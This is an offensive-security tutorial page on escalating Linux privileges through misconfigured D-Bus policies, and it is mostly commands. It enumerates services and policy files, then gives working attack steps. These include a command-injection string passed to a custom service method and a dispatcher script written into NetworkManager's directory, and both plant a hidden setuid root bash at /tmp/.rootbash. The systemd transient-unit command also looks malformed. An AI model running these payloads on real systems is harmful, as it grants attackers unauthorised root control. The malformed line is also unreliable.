Skip to content
HackIndex logo

HackIndex

D-Bus Misconfiguration Privilege Escalation

2 min read Jul 2, 2026

D-Bus is the inter-process communication system used by most Linux desktop and server services. System services expose methods over D-Bus that perform privileged operations. If a service's D-Bus policy permits unprivileged callers to invoke methods that execute commands, write files, or manage system state, you can escalate privileges without any exploit — just call the method.

Prerequisites Check

Check if D-Bus is running:

┌──(kali㉿kali)-[~]
└─$ systemctl status dbus 2>/dev/null || systemctl status messagebus 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ ps aux | grep dbus

List system bus services — these are the privileged ones worth targeting:

┌──(kali㉿kali)-[~]
└─$ busctl list 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ dbus-send --system --print-reply --dest=org.freedesktop.DBus /org/freedesktop/DBus org.freedesktop.DBus.ListNames 2>/dev/null | grep '"' | tr -d '"' | tr ' ' '\n'

Check D-Bus policy files for permissive rules:

┌──(kali㉿kali)-[~]
└─$ ls /etc/dbus-1/system.d/ /usr/share/dbus-1/system.d/ 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ grep -r "allow\|send_destination\|receive_sender" /etc/dbus-1/system.d/ /usr/share/dbus-1/system.d/ 2>/dev/null | grep -v "^Binary"

Finding Exploitable Policies

A permissive policy grants unprivileged users access to call methods on a service. Look for policies that allow sending to a destination without requiring a specific user or group:

┌──(kali㉿kali)-[~]
└─$ # Find policies with broad allow rules
┌──(kali㉿kali)-[~]
└─$ grep -r "allow" /etc/dbus-1/system.d/ /usr/share/dbus-1/system.d/ 2>/dev/null | grep -v "<!--\|send_type=\"signal\"\|receive_type" | head -30

Dangerous patterns:

<!-- Dangerous: allows any user to call any method -->
<allow send_destination="com.example.Service"/>

<!-- Dangerous: allows any user to call specific method -->
<allow send_destination="com.example.Service" send_interface="com.example.Interface" send_member="RunCommand"/>

Introspecting a Target Service

Once you identify a service worth targeting, introspect its interface to see available methods:

┌──(kali㉿kali)-[~]
└─$ # Get the object paths
┌──(kali㉿kali)-[~]
└─$ busctl introspect org.freedesktop.systemd1 /org/freedesktop/systemd1 2>/dev/null
 
┌──(kali㉿kali)-[~]
└─$ # Or with dbus-send
┌──(kali㉿kali)-[~]
└─$ dbus-send --system --print-reply --dest=org.freedesktop.systemd1 / org.freedesktop.DBus.Introspectable.Introspect 2>/dev/null
 
┌──(kali㉿kali)-[~]
└─$ # List methods on a specific interface
┌──(kali㉿kali)-[~]
└─$ busctl introspect com.example.Service /com/example/Object 2>/dev/null

Look for methods with names suggesting command execution: Exec, Run, Execute, Start, Install, Update.

Technique 1 — systemd via D-Bus (Misconfigured Policy)

Some systems allow unprivileged users to start/stop services via D-Bus without Polkit. If org.freedesktop.systemd1 allows your user to manage units:

┌──(kali㉿kali)-[~]
└─$ # Start a custom service via D-Bus
┌──(kali㉿kali)-[~]
└─$ busctl call org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager StartUnit "ss" "your-service.service" "replace" 2>/dev/null
 
┌──(kali㉿kali)-[~]
└─$ # If allowed — create a transient unit that runs as root
┌──(kali㉿kali)-[~]
└─$ busctl call org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager StartTransientUnit "ssa(sv)a(sa(sv))" "privesc.service" "replace" 2 "Description" s "privesc" "ExecStart" a(sv) 1 "" r 1 "value" 0 2>/dev/null

The standard path for systemd/Polkit escalation is covered at https://hackindex.io/platforms/linux/privilege-escalation/polkit-local-auth-escalation.

Technique 2 — Custom Service Method Injection

Third-party applications frequently expose D-Bus methods with insufficient access controls. Find and call them:

┌──(kali㉿kali)-[~]
└─$ # Find third-party D-Bus services (not org.freedesktop or org.gnome)
┌──(kali㉿kali)-[~]
└─$ busctl list 2>/dev/null | grep -v "^org.freedesktop\|^org.gnome\|^org.kde\|^com.ubuntu\|^-"
 
┌──(kali㉿kali)-[~]
└─$ # Introspect a custom service
┌──(kali㉿kali)-[~]
└─$ TARGET="com.company.appservice"
┌──(kali㉿kali)-[~]
└─$ busctl introspect $TARGET / 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ busctl tree $TARGET 2>/dev/null

For each interesting object path, introspect the interface:

┌──(kali㉿kali)-[~]
└─$ busctl introspect $TARGET /com/company/Object 2>/dev/null

Call a method that accepts a command argument:

┌──(kali㉿kali)-[~]
└─$ # Example: method takes a string (command) argument
┌──(kali㉿kali)-[~]
└─$ busctl call $TARGET /com/company/Object com.company.Interface RunBackup "s" "id; cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash"

Technique 3 — NetworkManager D-Bus Abuse

NetworkManager exposes D-Bus methods that on some versions allow unprivileged script execution via connection profiles:

┌──(kali㉿kali)-[~]
└─$ # Check NetworkManager version
┌──(kali㉿kali)-[~]
└─$ nmcli --version
 
┌──(kali㉿kali)-[~]
└─$ # List connections
┌──(kali㉿kali)-[~]
└─$ nmcli connection show
 
┌──(kali㉿kali)-[~]
└─$ # Create a connection with a dangerous dispatcher script (requires write to dispatcher directory)
┌──(kali㉿kali)-[~]
└─$ ls -la /etc/NetworkManager/dispatcher.d/
┌──(kali㉿kali)-[~]
└─$ find /etc/NetworkManager/dispatcher.d/ -writable 2>/dev/null

If the dispatcher directory is writable:

┌──(kali㉿kali)-[~]
└─$ cat > /etc/NetworkManager/dispatcher.d/99-privesc << 'EOF'
#!/bin/sh
cp /bin/bash /tmp/.rootbash
chmod u+s /tmp/.rootbash
EOF
chmod +x /etc/NetworkManager/dispatcher.d/99-privesc

Trigger a network event (connect/disconnect) to fire the dispatcher.

Using d-feet for Enumeration (GUI)

If you have GUI access, d-feet provides a graphical D-Bus browser:

┌──(kali㉿kali)-[~]
└─$ apt install d-feet 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ d-feet

Browse system bus services, inspect interfaces, and call methods interactively. Useful for understanding a service's attack surface before writing a command-line exploit.

References